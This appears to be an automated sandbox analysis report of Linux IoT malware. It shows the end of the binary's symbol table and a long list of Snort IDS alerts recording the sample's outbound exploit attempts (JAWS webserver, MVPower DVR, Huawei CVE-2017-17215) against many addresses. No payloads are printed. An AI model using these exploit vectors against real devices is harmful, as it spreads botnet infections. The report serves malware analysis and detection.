sigaction.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
sigaddset	.symtab	0x805606c	34	FUNC	<unknown>	DEFAULT	2
sigaddset.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
sigempty.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
sigemptyset	.symtab	0x8056090	20	FUNC	<unknown>	DEFAULT	2
signal	.symtab	0x80560a4	136	FUNC	<unknown>	DEFAULT	2
signal.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
sigprocmask	.symtab	0x8055904	97	FUNC	<unknown>	DEFAULT	2
sigprocmask.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
sigsetops.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
sleep	.symtab	0x8057c34	195	FUNC	<unknown>	DEFAULT	2
sleep.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
socket	.symtab	0x8056044	40	FUNC	<unknown>	DEFAULT	2
socket.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
srand	.symtab	0x8057282	61	FUNC	<unknown>	DEFAULT	2
srandom	.symtab	0x8057282	61	FUNC	<unknown>	DEFAULT	2
srandom_r	.symtab	0x805731f	160	FUNC	<unknown>	DEFAULT	2
srv_addr	.symtab	0x805f40c	16	OBJECT	<unknown>	DEFAULT	12
static_dtv	.symtab	0x805eebc	512	OBJECT	<unknown>	DEFAULT	12
static_map	.symtab	0x805f3c4	52	OBJECT	<unknown>	DEFAULT	12
static_slotinfo	.symtab	0x805f0bc	776	OBJECT	<unknown>	DEFAULT	12
stderr	.symtab	0x805c700	4	OBJECT	<unknown>	DEFAULT	11
stdin	.symtab	0x805c6f8	4	OBJECT	<unknown>	DEFAULT	11
stdout	.symtab	0x805c6fc	4	OBJECT	<unknown>	DEFAULT	11
strchr	.symtab	0x805963c	30	FUNC	<unknown>	DEFAULT	2
strchr.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strchrnul	.symtab	0x805965c	25	FUNC	<unknown>	DEFAULT	2
strchrnul.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strcmp	.symtab	0x8059678	29	FUNC	<unknown>	DEFAULT	2
strcmp.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strcoll	.symtab	0x8059678	29	FUNC	<unknown>	DEFAULT	2
strcspn	.symtab	0x80596b4	45	FUNC	<unknown>	DEFAULT	2
strcspn.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strdup	.symtab	0x8055cc4	48	FUNC	<unknown>	DEFAULT	2
strdup.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strlen	.symtab	0x8055cb0	19	FUNC	<unknown>	DEFAULT	2
strlen.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strpbrk	.symtab	0x8059760	35	FUNC	<unknown>	DEFAULT	2
strpbrk.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strrchr	.symtab	0x8059698	26	FUNC	<unknown>	DEFAULT	2
strrchr.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strspn	.symtab	0x80596e4	42	FUNC	<unknown>	DEFAULT	2
strspn.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strtok	.symtab	0x8055cf4	22	FUNC	<unknown>	DEFAULT	2
strtok.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strtok_r	.symtab	0x8059710	80	FUNC	<unknown>	DEFAULT	2
strtok_r.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strtol	.symtab	0x8057510	23	FUNC	<unknown>	DEFAULT	2
strtol.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
sysconf	.symtab	0x8057764	523	FUNC	<unknown>	DEFAULT	2
sysconf.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
table	.symtab	0x805f440	624	OBJECT	<unknown>	DEFAULT	12
table.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
table_init	.symtab	0x80543e0	3469	FUNC	<unknown>	DEFAULT	2
table_key	.symtab	0x805c5ec	4	OBJECT	<unknown>	DEFAULT	11
table_lock_val	.symtab	0x80542e0	114	FUNC	<unknown>	DEFAULT	2
table_retrieve_val	.symtab	0x80542b0	38	FUNC	<unknown>	DEFAULT	2
table_unlock_val	.symtab	0x8054360	114	FUNC	<unknown>	DEFAULT	2
tcgetattr	.symtab	0x80597a0	96	FUNC	<unknown>	DEFAULT	2
tcgetattr.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
time	.symtab	0x8055968	16	FUNC	<unknown>	DEFAULT	2
time.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
times	.symtab	0x80585c4	16	FUNC	<unknown>	DEFAULT	2
times.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
unsafe_state	.symtab	0x805c638	20	OBJECT	<unknown>	DEFAULT	11
util.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
util_atoi	.symtab	0x8055270	245	FUNC	<unknown>	DEFAULT	2
util_fdgets	.symtab	0x8055370	76	FUNC	<unknown>	DEFAULT	2
util_itoa	.symtab	0x8055560	195	FUNC	<unknown>	DEFAULT	2
util_local_addr	.symtab	0x80553c0	120	FUNC	<unknown>	DEFAULT	2
util_memcpy	.symtab	0x80551d0	34	FUNC	<unknown>	DEFAULT	2
util_memsearch	.symtab	0x8055220	69	FUNC	<unknown>	DEFAULT	2
util_strcmp	.symtab	0x80554c0	73	FUNC	<unknown>	DEFAULT	2
util_strcpy	.symtab	0x8055190	50	FUNC	<unknown>	DEFAULT	2
util_stristr	.symtab	0x8055440	121	FUNC	<unknown>	DEFAULT	2
util_strlen	.symtab	0x8055170	24	FUNC	<unknown>	DEFAULT	2
util_strncmp	.symtab	0x8055510	79	FUNC	<unknown>	DEFAULT	2
util_zero	.symtab	0x8055200	26	FUNC	<unknown>	DEFAULT	2
w	.symtab	0x805c8e0	4	OBJECT	<unknown>	DEFAULT	12
write	.symtab	0x8057db0	91	FUNC	<unknown>	DEFAULT	2
x	.symtab	0x805c8d4	4	OBJECT	<unknown>	DEFAULT	12
xstatconv.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
y	.symtab	0x805c8d8	4	OBJECT	<unknown>	DEFAULT	12
z	.symtab	0x805c8dc	4	OBJECT	<unknown>	DEFAULT	12

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
04/14/24-04:01:53.805608	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53388	80	192.168.2.13	182.16.253.51
04/14/24-04:00:23.581357	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	36518	80	192.168.2.13	104.104.29.222
04/14/24-04:00:30.671371	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	36516	80	192.168.2.13	172.98.167.125
04/14/24-04:01:39.212023	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	34712	80	192.168.2.13	108.59.247.146
04/14/24-04:01:50.611430	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	41156	80	192.168.2.13	147.182.173.40
04/14/24-04:00:22.740168	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48156	80	192.168.2.13	191.85.52.98
04/14/24-04:01:47.624292	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	51576	80	192.168.2.13	20.103.122.207
04/14/24-04:01:02.380372	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	50492	80	192.168.2.13	82.223.21.137
04/14/24-04:01:15.381804	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	33018	80	192.168.2.13	201.211.35.185
04/14/24-04:01:49.333830	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	38184	80	192.168.2.13	154.212.222.199
04/14/24-04:00:21.603945	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	33568	80	192.168.2.13	44.212.152.11
04/14/24-04:00:19.325629	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53182	80	192.168.2.13	23.41.161.203
04/14/24-04:01:30.440565	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	36070	80	192.168.2.13	20.82.227.179
04/14/24-04:01:35.714018	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48048	80	192.168.2.13	23.58.229.127
04/14/24-04:00:16.351082	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	43502	80	192.168.2.13	143.204.37.147
04/14/24-04:00:45.823660	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35950	80	192.168.2.13	191.61.185.208
04/14/24-04:00:22.774035	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	49392	80	192.168.2.13	149.106.147.162
04/14/24-04:01:32.627415	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	33716	80	192.168.2.13	89.117.229.176
04/14/24-04:01:02.689671	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	56302	80	192.168.2.13	154.86.229.116
04/14/24-04:01:42.036001	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53876	80	192.168.2.13	185.49.69.132
04/14/24-04:00:39.681596	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	59966	80	192.168.2.13	139.162.20.153
04/14/24-04:00:36.719961	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	58002	80	192.168.2.13	18.173.187.36
04/14/24-04:00:58.842752	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	44174	80	192.168.2.13	46.229.129.131
04/14/24-04:00:26.769298	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	34058	80	192.168.2.13	68.61.182.44
04/14/24-04:01:39.336822	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	44336	80	192.168.2.13	207.60.38.122
04/14/24-04:00:46.618837	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	59338	80	192.168.2.13	23.231.136.43
04/14/24-04:01:08.197623	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60042	80	192.168.2.13	204.114.95.126
04/14/24-03:59:55.025744	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	51368	80	192.168.2.13	39.100.85.162
04/14/24-04:01:22.226449	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60336	80	192.168.2.13	35.186.240.219
04/14/24-04:00:45.351451	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	45776	80	192.168.2.13	85.122.208.160
04/14/24-04:01:15.329563	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	53182	80	192.168.2.13	136.22.132.205
04/14/24-04:01:11.331237	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	51104	80	192.168.2.13	39.96.116.6
04/14/24-04:01:28.779670	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	34912	80	192.168.2.13	212.193.59.47
04/14/24-04:00:58.602964	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	38648	80	192.168.2.13	182.92.126.127
04/14/24-04:01:08.272967	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	45670	80	192.168.2.13	35.233.4.129
04/14/24-04:01:28.249941	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	48322	80	192.168.2.13	173.255.248.225
04/14/24-04:00:19.956914	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50190	37215	192.168.2.13	156.77.130.124
04/14/24-04:00:40.640622	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	58186	80	192.168.2.13	23.198.87.106
04/14/24-04:01:45.192547	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	52284	80	192.168.2.13	184.31.108.44
04/14/24-04:01:55.478116	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	55036	80	192.168.2.13	218.145.157.167
04/14/24-03:59:54.894621	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48558	80	192.168.2.13	173.44.211.253
04/14/24-04:00:14.043600	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	33676	80	192.168.2.13	104.74.49.225
04/14/24-04:00:26.671375	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53538	80	192.168.2.13	18.118.98.24
04/14/24-04:01:19.302115	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	54664	80	192.168.2.13	2.23.225.45
04/14/24-04:00:26.885793	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	36766	80	192.168.2.13	147.47.56.57
04/14/24-04:00:27.665307	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	45736	80	192.168.2.13	23.42.132.46
04/14/24-04:00:57.934126	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	42320	80	192.168.2.13	18.102.140.68
04/14/24-04:01:30.558775	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	38970	80	192.168.2.13	104.108.214.213
04/14/24-04:00:47.619412	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	50810	80	192.168.2.13	45.76.43.88
04/14/24-04:01:52.301708	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	51858	80	192.168.2.13	35.162.70.249
04/14/24-04:00:45.618669	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	38324	80	192.168.2.13	75.101.148.175
04/14/24-04:00:23.893828	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	47062	80	192.168.2.13	103.140.205.113
04/14/24-04:01:02.222902	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	51726	80	192.168.2.13	38.38.113.178
04/14/24-04:01:36.497567	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54564	80	192.168.2.13	185.48.5.6
04/14/24-04:01:49.397703	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	45338	80	192.168.2.13	54.189.245.215
04/14/24-04:00:55.619403	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	54062	80	192.168.2.13	23.215.200.44
04/14/24-04:01:37.529345	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	48902	80	192.168.2.13	23.39.138.2
04/14/24-04:01:18.265451	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	52432	80	192.168.2.13	107.181.160.99
04/14/24-04:01:36.626313	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54246	80	192.168.2.13	44.212.229.33
04/14/24-04:00:26.613412	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47068	80	192.168.2.13	104.20.202.107
04/14/24-04:01:15.421980	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	36688	80	192.168.2.13	23.41.225.135
04/14/24-04:01:39.267833	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	39580	80	192.168.2.13	5.196.251.0
04/14/24-04:00:58.728290	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	52106	80	192.168.2.13	63.119.95.169
04/14/24-04:00:33.544121	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49226	80	192.168.2.13	210.154.254.210
04/14/24-04:01:53.753769	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54334	80	192.168.2.13	185.145.247.192
04/14/24-04:01:42.373304	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	38606	80	192.168.2.13	23.41.236.167
04/14/24-04:01:52.984466	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	37554	80	192.168.2.13	103.182.211.131
04/14/24-04:00:36.409304	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	33488	80	192.168.2.13	221.113.168.50
04/14/24-04:01:04.416158	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58350	80	192.168.2.13	23.92.6.113
04/14/24-04:01:22.301796	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	59210	80	192.168.2.13	23.76.198.249
04/14/24-04:00:36.712470	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	39718	80	192.168.2.13	4.159.63.164
04/14/24-04:00:49.343669	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	54978	80	192.168.2.13	84.197.223.154
04/14/24-04:00:57.924794	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50124	80	192.168.2.13	23.67.167.116
04/14/24-04:00:39.345906	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54394	80	192.168.2.13	44.239.15.122
04/14/24-04:00:38.635696	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	42282	80	192.168.2.13	158.199.131.36
04/14/24-04:01:18.375162	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	33230	80	192.168.2.13	52.0.226.142
04/14/24-04:01:22.397413	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	33596	80	192.168.2.13	38.38.20.188
04/14/24-04:01:13.627826	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	38916	80	192.168.2.13	23.207.167.238
04/14/24-04:00:39.603267	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48088	80	192.168.2.13	186.7.216.19
04/14/24-04:00:55.391835	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	34908	80	192.168.2.13	59.190.129.217
04/14/24-04:01:45.239127	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	42036	80	192.168.2.13	18.179.229.31
04/14/24-04:00:24.363824	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	48036	80	192.168.2.13	172.66.201.240
04/14/24-04:01:15.342345	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40824	80	192.168.2.13	208.88.74.79
04/14/24-04:00:30.767284	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	32998	80	192.168.2.13	184.26.16.67
04/14/24-04:00:14.285914	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	37134	80	192.168.2.13	104.19.80.51
04/14/24-04:00:24.790187	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	46062	80	192.168.2.13	109.109.54.95
04/14/24-04:01:30.463559	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	34662	80	192.168.2.13	43.249.76.227
04/14/24-04:01:24.274200	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	47478	80	192.168.2.13	184.30.179.72
04/14/24-04:00:33.399299	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	40566	80	192.168.2.13	108.156.122.28
04/14/24-04:00:16.678171	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48132	80	192.168.2.13	80.190.131.134
04/14/24-04:01:39.453993	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	39836	80	192.168.2.13	72.10.161.193
04/14/24-04:01:36.694040	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	52600	80	192.168.2.13	203.251.86.68
04/14/24-04:00:14.524876	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	43178	80	192.168.2.13	116.255.226.15
04/14/24-04:00:21.102635	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33710	37215	192.168.2.13	156.241.125.101
04/14/24-04:00:43.799938	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49524	80	192.168.2.13	139.9.59.202
04/14/24-04:01:12.029142	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	50764	80	192.168.2.13	41.76.222.158
04/14/24-04:00:27.321266	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	42836	80	192.168.2.13	72.167.55.19
04/14/24-04:00:49.325490	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	37834	80	192.168.2.13	23.64.28.225
04/14/24-04:00:39.666514	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	33582	80	192.168.2.13	52.80.217.220
04/14/24-04:00:34.400250	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54022	80	192.168.2.13	23.65.224.107
04/14/24-04:00:30.793944	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	43656	80	192.168.2.13	52.77.163.67
04/14/24-04:01:03.888459	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	55878	80	192.168.2.13	37.235.240.159
04/14/24-04:01:15.770306	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	59152	80	192.168.2.13	187.26.218.114
04/14/24-04:00:19.351444	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	56946	80	192.168.2.13	51.195.220.184
04/14/24-04:01:17.864348	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	54970	80	192.168.2.13	94.252.127.204
04/14/24-04:01:53.677032	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	37288	80	192.168.2.13	199.232.161.63
04/14/24-04:01:53.773061	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	46900	80	192.168.2.13	54.72.206.96
04/14/24-04:01:50.733475	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	52126	80	192.168.2.13	186.128.162.147
04/14/24-04:00:26.880911	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	55418	80	192.168.2.13	92.122.35.7
04/14/24-04:00:29.440747	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	38562	80	192.168.2.13	154.38.99.116
04/14/24-04:01:18.601884	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	52606	80	192.168.2.13	191.61.160.219
04/14/24-04:01:42.629506	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49190	80	192.168.2.13	54.240.187.152
04/14/24-04:01:28.545918	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	40262	80	192.168.2.13	47.49.142.114
04/14/24-04:01:37.609944	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	59038	80	192.168.2.13	65.9.75.93
04/14/24-04:01:52.328261	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	51048	80	192.168.2.13	34.161.249.238
04/14/24-04:01:32.435681	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50270	80	192.168.2.13	42.63.59.207
04/14/24-04:00:37.818990	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	37356	80	192.168.2.13	121.89.58.33
04/14/24-04:00:45.918047	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	33748	80	192.168.2.13	118.98.239.73
04/14/24-04:00:15.446161	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47118	80	192.168.2.13	178.242.138.104
04/14/24-04:00:37.711223	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	42408	80	192.168.2.13	52.217.226.8
04/14/24-04:00:15.103103	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	55122	80	192.168.2.13	219.231.168.103
04/14/24-04:01:04.619479	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	56008	80	192.168.2.13	167.172.166.210
04/14/24-04:01:41.947666	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	53364	80	192.168.2.13	52.6.222.214
04/14/24-04:00:39.537951	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	57014	80	192.168.2.13	54.214.93.16
04/14/24-04:00:26.442836	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50014	80	192.168.2.13	184.28.129.186
04/14/24-04:01:46.778652	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	45300	80	192.168.2.13	104.121.21.20
04/14/24-04:01:37.635352	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	39942	80	192.168.2.13	193.205.7.221
04/14/24-04:00:58.472287	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	43092	80	192.168.2.13	119.204.215.178
04/14/24-04:01:32.310027	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	45380	80	192.168.2.13	20.8.142.206
04/14/24-03:59:56.058605	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	47030	80	192.168.2.13	23.212.202.146
04/14/24-04:01:11.564771	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60182	80	192.168.2.13	114.142.224.216
04/14/24-04:00:22.677377	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	36268	80	192.168.2.13	23.39.224.152
04/14/24-04:01:42.125788	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60834	80	192.168.2.13	66.29.153.184
04/14/24-04:00:47.631406	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	51960	80	192.168.2.13	116.6.105.90
04/14/24-04:00:52.180231	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	50836	80	192.168.2.13	134.22.21.42
04/14/24-04:01:15.426300	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	52042	80	192.168.2.13	54.75.180.208
04/14/24-04:01:15.505683	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	52378	80	192.168.2.13	12.175.64.146
04/14/24-04:01:52.194222	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	53672	80	192.168.2.13	117.180.238.129
04/14/24-04:01:41.951127	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	58414	80	192.168.2.13	104.107.32.116
04/14/24-04:00:49.352534	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	55966	80	192.168.2.13	195.245.74.9
04/14/24-04:01:32.790153	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	39008	80	192.168.2.13	156.205.0.24
04/14/24-04:01:45.397004	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	52842	80	192.168.2.13	103.140.234.82
04/14/24-04:00:22.152290	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	44540	80	192.168.2.13	116.96.120.220
04/14/24-04:01:50.543352	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	57304	80	192.168.2.13	34.36.243.55
04/14/24-03:59:56.048241	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40566	80	192.168.2.13	23.223.72.7
04/14/24-04:00:45.383975	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60976	80	192.168.2.13	68.182.254.113
04/14/24-04:01:19.666106	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	47224	80	192.168.2.13	217.198.1.19
04/14/24-04:01:32.227259	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	39758	80	192.168.2.13	44.215.140.132
04/14/24-04:00:49.420488	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47220	80	192.168.2.13	103.69.247.47
04/14/24-04:00:15.468385	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	46244	80	192.168.2.13	52.7.20.164
04/14/24-04:00:14.369222	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	41936	80	192.168.2.13	216.47.49.134
04/14/24-04:01:24.302011	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60232	80	192.168.2.13	173.232.58.94
04/14/24-04:01:25.394338	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48264	80	192.168.2.13	173.255.248.225
04/14/24-04:01:48.398376	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46546	37215	192.168.2.13	156.235.100.224
04/14/24-04:01:35.657503	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53810	80	192.168.2.13	38.165.110.125
04/14/24-04:01:36.413072	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	41320	80	192.168.2.13	69.16.209.2
04/14/24-04:01:30.376214	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	36214	80	192.168.2.13	38.154.37.126
04/14/24-04:00:19.606973	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54908	80	192.168.2.13	18.178.93.240
04/14/24-04:00:55.396563	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54696	80	192.168.2.13	51.75.161.197
04/14/24-04:00:23.607104	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	39366	80	192.168.2.13	82.165.23.33
